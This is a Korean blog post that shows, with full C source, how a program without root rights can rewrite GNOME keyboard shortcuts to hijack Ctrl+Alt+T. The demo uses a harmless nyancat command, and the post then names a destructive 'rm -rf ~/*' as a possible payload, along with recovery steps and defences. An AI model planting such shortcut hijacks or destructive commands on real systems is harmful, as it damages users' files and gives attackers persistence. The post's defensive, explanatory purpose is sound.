정말 개방형 OS(리눅스, BSD) 환경에선 루트만 탈취되지 않으면 괜찮을까
by
gg582 · 2026-07-05 11:43:13 · 53 views
서두
요즈음 많은 리눅스, BSD 도구들은 ~/.local 등에 설치되며, 사용자는 주로 작업 리포지토리를 일반 사용자에 클론한다. 그러나 다들 익히 알고 있듯, GSettings나 FreeDesktop D-Bus의 세션 별 설정은 루트(root) 권한이 없어도 바꿀 수 있는 항목이 많다.
그렇다면 개발자가 자주 사용하는 몇 가지 단축키를 위험한 명령으로 바꾼다고 하면 사고가 일어날 수도 있다. 실제로 코드 스니펫과 함께 무해한 예시 시나리오를 작성해 보도록 하자.
시나리오
이 프로그램은 GSettings의 Ctrl+Alt+T 단축키의 실행 명령 값을 변경하는 시나리오이다. 사용자의 환경에 nyancat이라는 명령이 있다고 가정한다.
이 소스가 실행될 시 Ctrl+Alt+T의 바인딩은 xterm -geometry 80x24 -bg black -fg white -e nyancat이 된다.
소스
#include <gio/gio.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
// 1. Disable existing default terminal shortcut to prevent conflicts
GSettings *media_keys = g_settings_new("org.gnome.settings-daemon.plugins.media-keys");
const char *empty_binding[] = { NULL };
g_settings_set_strv(media_keys, "terminal", empty_binding);
printf("[+] Default terminal shortcut disabled.\n");
// 2. Read existing custom keybindings to preserve user settings and append safely
char **existing_paths = g_settings_get_strv(media_keys, "custom-keybindings");
int count = 0;
while (existing_paths[count] != NULL) {
count++;
}
// Generate a unique new path
char *new_path = g_strdup_printf("/org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom_nyan%d/", count);
// Expand array and inject the new path
char **new_paths = g_new0(char *, count + 2);
for (int i = 0; i < count; i++) {
new_paths[i] = existing_paths[i];
}
new_paths[count] = new_path;
new_paths[count + 1] = NULL;
g_settings_set_strv(media_keys, "custom-keybindings", (const char **)new_paths);
g_object_unref(media_keys);
// 3. Bind minimal xterm terminal payload
GSettings *custom_shortcut = g_settings_new_with_path(
"org.gnome.settings-daemon.plugins.media-keys.custom-keybinding",
new_path
);
g_settings_set_string(custom_shortcut, "name", "Minimal Nyan Terminal");
g_settings_set_string(custom_shortcut, "command", "xterm -geometry 80x24 -bg black -fg white -e nyancat");
g_settings_set_string(custom_shortcut, "binding", "<Primary><Alt>t");
// Synchronize changes to disk and free resources
g_settings_sync();
g_object_unref(custom_shortcut);
g_free(new_paths);
g_free(new_path);
g_strfreev(existing_paths);
printf("[+] Persistence established: Ctrl+Alt+T will now trigger xterm payload.\n");
return 0;
}
복구
# 1. 가로채기 위해 비활성화했던 기본 터미널 바인딩 복구
gsettings set org.gnome.settings-daemon.plugins.media-keys terminal "['<Primary><Alt>t']"
# 2. 추가된 커스텀 단축키 리스트 복구
# (주의: 아래 reset 명령은 기존에 유저가 등록해 둔 정상적인 커스텀 단축키까지 모두 초기화하므로,
# 실무 환경에서는 dconf-editor 등을 이용해 해당 nyan 경로만 수동 삭제하는 것을 권장함)
gsettings reset org.gnome.settings-daemon.plugins.media-keys custom-keybindings
평가
현재의 경우 프로그램에서 단축키 바인딩을 바꿔 봐야 냥캣만 실행된다. 그러나 만약 프로그램에서 rm -rf ~/* 같은 파괴적인 명령을 삽입하거나 사용자의 입력 스트림을 낚아채는 스크립트를 연동할 경우, 홈 디렉터리의 개발 프로그램과 임시 작업을 하던 git 저장소 등이 모두 무력화될 수 있다.
이러한 로컬 세션의 비정상적인 변경을 방어하는 것은 실무 환경이나 공공 전산 분야에서도 매우 중요하다. 유저 권한 내에서 발생하는 공격은 단순한 명령어 래핑(alias 등)만으로는 완벽히 막기 어렵기 때문에, 유저 세션 설정 파일(~/.config/dconf 등)의 변경 이벤트를 실시간으로 모니터링하거나, 외부에서 가져온 신뢰할 수 없는 스크립트를 실행할 때는 컨테이너나 독립된 가상 환경을 적극 활용하는 식의 접근이 필요하다.
따라서, 루트 권한만 탈취당하지 않으면 유닉스 혹은 리눅스 시스템이 무조건 안전하다고 생각하는 것은 전형적인 오판이다.
취준생으로서 생각할 점
일단 필자의 경우 장기적으로는 트랙을 공무원으로 전환하는 것을 염두에 두고 있다. 전산직의 경우라도 지방직 근무를 할 시 데스크톱 환경의 보안까지 직접 튜닝하거나 세세하게 관리할 일은 드물지 모른다.
그러나 공공 분야 역시 개방형 OS 도입이 점진적으로 확대되는 추세인 만큼, 단순한 루트 권한 방어를 넘어 유저 레벨 세션 보안까지 입체적으로 바라보는 관점을 공유하는 것이 결코 불필요한 일이라 생각하지 않는다. 기술적 깊이를 유지하는 태도는 직종을 전환하더라도 유효한 자산이 될 것이기에, 블로그는 앞으로도 꾸준히 작성할 예정이다.